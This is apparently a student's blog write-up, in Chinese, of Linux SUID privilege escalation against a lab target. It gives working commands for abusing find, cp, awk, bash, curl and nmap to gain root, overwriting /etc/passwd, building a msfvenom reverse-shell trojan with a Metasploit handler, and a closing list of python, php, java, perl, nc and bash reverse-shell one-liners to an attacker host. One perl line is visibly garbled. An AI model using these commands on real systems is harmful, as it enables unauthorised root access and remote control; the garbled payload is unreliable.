热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Linux提权之suid篇

Linux提权之suid篇不知攻,焉知防一个在安服路上摸索的大三生,记录平时学习笔记suid前言:1.只有可以执行的二进制程序文件才

Linux提权之suid篇

不知攻,焉知防
一个在安服路上摸索的大三生,记录平时学习笔记


suid前言:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效


实验环境:

kali攻击机
靶机账号 :muhammad 密码 : nasef


START:


靶机自带提权文件suid ---- 位于/home/muhammad/vuln/1 下


1)ls -al 查看文件是否可以执行

在这里插入图片描述

发现可以直接执行


2)执行得到一个交互式shell,通过使用id 及 whoami查看 是一个具有root权限的普通shell

在这里插入图片描述
Tip : uid为0代表超级管理员root 红帽企业RHEL <7.0 为0-499 > 8.0为0-1000 ;500-65535 或者1000-65535为普通用户


3)接下来可以通过反弹shell将该通道反弹给攻击机 — 本文最后介绍


其他suid提权

可供用来进行suid 提权的有find 、 nano 、 vim 、 awk 、 bash 、 less 、 nmap 、 more 、curl 、 cp 、man 、mv
通过三条命令可以查看当前可以具有suid权限的文件且拥有者为root
1)find / -perm -u=s -type f 2> /dev/null PS: /dev/null 是Linux中一个特殊的文件,理解为“黑洞”即可 (最好用,个人觉得)
2)find / -user root -perm -4000 -print 2> /dev/null
3)find / -user root -perm -4000 -exec ls -ldb {} ;
PS : -exec 选项要与 ‘;’ 相结合使用【-exec + command 、 ;为结束标志 、 \是转义 】; ’{}’ 代表前面所查找到的所有相关文件 //粗浅的自我认识 :-exec选项的作用就相当于一个管道:前面的输出作为后面的输入
在这里插入图片描述
Kip : 建议使用kali直连靶机,毕竟只是实验


(1)more 、vim 、 nano 、less 用法相似

以more为例子:
在这里插入图片描述
成功get到原本普通用户无法得到的信息,之后可以通过more /etc/shadow > 1.txt


(2)mv和cp用法一致: 覆盖/etc/shadow文件


1)通过scp命令从靶机上面下载 /etc/passwd

scp muhammad@192.168.169.140:/etc/shadow /root/Desktop


2)kali上通过OpenSSL进行密码编译 ,创建不存在账号。

openssl passwd -1 -salt magisec 123456
在这里插入图片描述
仿照muhammad账号创建:
在这里插入图片描述
其中各参数意思:
登录用户名 密码(x为安全考虑) 用户id(UID) 组ID(GID) 用户备注信息 用户家目录 用户的bash


3)想当然地继续通过scp将修改后的passwd文件替换结果发现没有权限在这里插入图片描述

能利用之前获得的root权限的sh界面进行开放http服务使用wget进行下载


4)wget http://192.169.141/passwd


5)cp命令覆盖/etc/passwd

cp passwd /etc/passwd


6)使用自己创建的账号登录,用id查看

在这里插入图片描述
发现提权成功


(3)find 提权


1)由于当前靶机没有find ,先赋予find suid权限

在这里插入图片描述


2)创建普通文件hquhqu,并输入命令 find hquhqu -exec whoami ; 发现用户变为root

在这里插入图片描述


(4)nmap 提权 :适用于版本2.02-5.21

PS :由于没有找到可以进行实验的nmap版本,纯理论讲一讲
介绍两个方法:


方法一:


1)通过nmap --interactive (或者 -i) 启动交互模式

2)!sh 执行之后得到一个提权后的shell

方法二:Metasploit exp exploit/unix/local/setuid_nmap

通过打开msf ,use 此模块后发现需要参数session 。接下来是获取session


1)木马制作

(1)通过msfvenom 制作linux木马

木马制作方法: msfvenom -l payloads | grep linux/x64/meterpreter ----- 查看可以反弹meterpreter的exp
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=本地IP lport=本机需要监听的端口 -a x64 --platform linux -f elf > 需要输出的文件名
在这里插入图片描述
制作成功!
通过scp test /home/muhammad 传到对应靶机目录 或者将该木马挂载到网站根目录,靶机再通过wget进行下载
-----------现实中是通过社工或者各种漏洞进行上传木马


(2)启动msf

service postgresql start —打开对应数据库
msfconsole —启动msf
在这里插入图片描述


(3)开始监听,得到session

Use exploit/multi/handler —使用监听模块
Set payload linux/x64/meterpreter/reverse_tcp —设置有效载荷,与木马制作时一致
Set lhost 、 lport — 设置IP和端口 : 也与木马制作时一致
Run / exploit
然后再通过靶机执行生成的木马,需要先赋予执行权限再 ./ 执行
在这里插入图片描述
在这里插入图片描述
得到session,然后background挂起之后再使用上面的模块进行攻击


(5)awk提权 :命令awk ‘BEGIN{system(“whoami”)}’

在这里插入图片描述
一通花里胡哨的操作,别问我为什么这么做,小白的世界你不懂
在这里插入图片描述再次确认是否存在该文件

在这里插入图片描述
提权成功 !


(6)Bash提权: bash -p

在这里插入图片描述


(7)Curl提权 : curl file:///etc/shadow

在这里插入图片描述


(8)man提权

在这里插入图片描述
修改完man后发现无论输入什么都会回到root用户,没明白为什么,想了一会,发现是从bash提权之后才发生的,修改bash回原来样子即可

在这里插入图片描述
虽然有个warning,但还是提权成功


存疑的一个提权:


su 【之前看到某些大佬将这一个列进去了,但自己未实现】

在这里插入图片描述
在这里插入图片描述
无法执行


反弹shell:


使用场景:

受控主机在网络内部,无法通过某些服务进行连接,该主机经常更换IP地址,导致没有办法对主机进行控制。可以使用反弹shell的操作,将主机的shell界面行反弹给攻击者,使攻击者拥有操控内网主机的权力。


python脚本反弹

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘攻击者ip’,监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”


php脚本反弹

php -r ‘exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")’
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’


java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()


perl脚本反弹

perl -e ‘use Socket;i="ip";i="ip";i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(p,inetaton(p,inet_aton(p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’


nc反弹

nc -t -e /bin/bash ip port


bash命令反弹

/bin/bash >& /dev/tcp/127.0.0.1/6789 0>&1


推荐阅读
  • 深入理解Shell脚本编程
    本文详细介绍了Shell脚本编程的基础概念、语法结构及其在操作系统中的应用。通过具体的示例代码,帮助读者掌握如何编写和执行Shell脚本。 ... [详细]
  • 360SRC安全应急响应:从漏洞提交到修复的全过程
    本文详细介绍了360SRC平台处理一起关键安全事件的过程,涵盖从漏洞提交、验证、排查到最终修复的各个环节。通过这一案例,展示了360在安全应急响应方面的专业能力和严谨态度。 ... [详细]
  • golang常用库:配置文件解析库/管理工具viper使用
    golang常用库:配置文件解析库管理工具-viper使用-一、viper简介viper配置管理解析库,是由大神SteveFrancia开发,他在google领导着golang的 ... [详细]
  • 本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ... [详细]
  • 本文详细介绍了如何在Linux系统上安装和配置Smokeping,以实现对网络链路质量的实时监控。通过详细的步骤和必要的依赖包安装,确保用户能够顺利完成部署并优化其网络性能监控。 ... [详细]
  • 本文探讨了如何在发布 XenApp 应用时,通过命令行参数实现启动时的参数传递。特别介绍了静态和动态参数传递的方法,并详细解释了 ICA 文件中两种参数传递方式的区别及安全检查机制。 ... [详细]
  • 本文介绍如何通过注册表编辑器自定义和优化Windows文件右键菜单,包括删除不需要的菜单项、添加绿色版或非安装版软件以及将特定应用程序(如Sublime Text)添加到右键菜单中。 ... [详细]
  • 掌握远程执行Linux脚本和命令的技巧
    本文将详细介绍如何利用Python的Paramiko库实现远程执行Linux脚本和命令,帮助读者快速掌握这一实用技能。通过具体的示例和详尽的解释,让初学者也能轻松上手。 ... [详细]
  • 网络运维工程师负责确保企业IT基础设施的稳定运行,保障业务连续性和数据安全。他们需要具备多种技能,包括搭建和维护网络环境、监控系统性能、处理突发事件等。本文将探讨网络运维工程师的职业前景及其平均薪酬水平。 ... [详细]
  • 在维护公司项目时,发现按下手机的某个物理按键后会激活相应的服务,并在屏幕上模拟点击特定坐标点。本文详细介绍了如何使用ADB Shell Input命令来模拟各种输入事件,包括滑动、按键和点击等。 ... [详细]
  • 本文详细记录了在银河麒麟操作系统和龙芯架构上使用 Qt 5.15.2 进行项目打包时遇到的问题及解决方案,特别关注于 linuxdeployqt 工具的应用。 ... [详细]
  • 微软Exchange服务器遭遇2022年版“千年虫”漏洞
    微软Exchange服务器在新年伊始遭遇了一个类似于‘千年虫’的日期处理漏洞,导致邮件传输受阻。该问题主要影响配置了FIP-FS恶意软件引擎的Exchange 2016和2019版本。 ... [详细]
  • 本文介绍如何在现有网络中部署基于Linux系统的透明防火墙(网桥模式),以实现灵活的时间段控制、流量限制等功能。通过详细的步骤和配置说明,确保内部网络的安全性和稳定性。 ... [详细]
  • 本文深入探讨了计算机网络的基础概念和关键协议,帮助初学者掌握网络编程的必备知识。从网络结构到分层模型,再到传输层协议和IP地址分类,文章全面覆盖了网络编程的核心内容。 ... [详细]
  • 本文探讨了在Java中实现系统托盘最小化的两种方法:使用SWT库和JDK6自带的功能。通过这两种方式,开发者可以创建跨平台的应用程序,使窗口能够最小化到系统托盘,并提供丰富的交互功能。 ... [详细]
author-avatar
手机用户2702932960
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有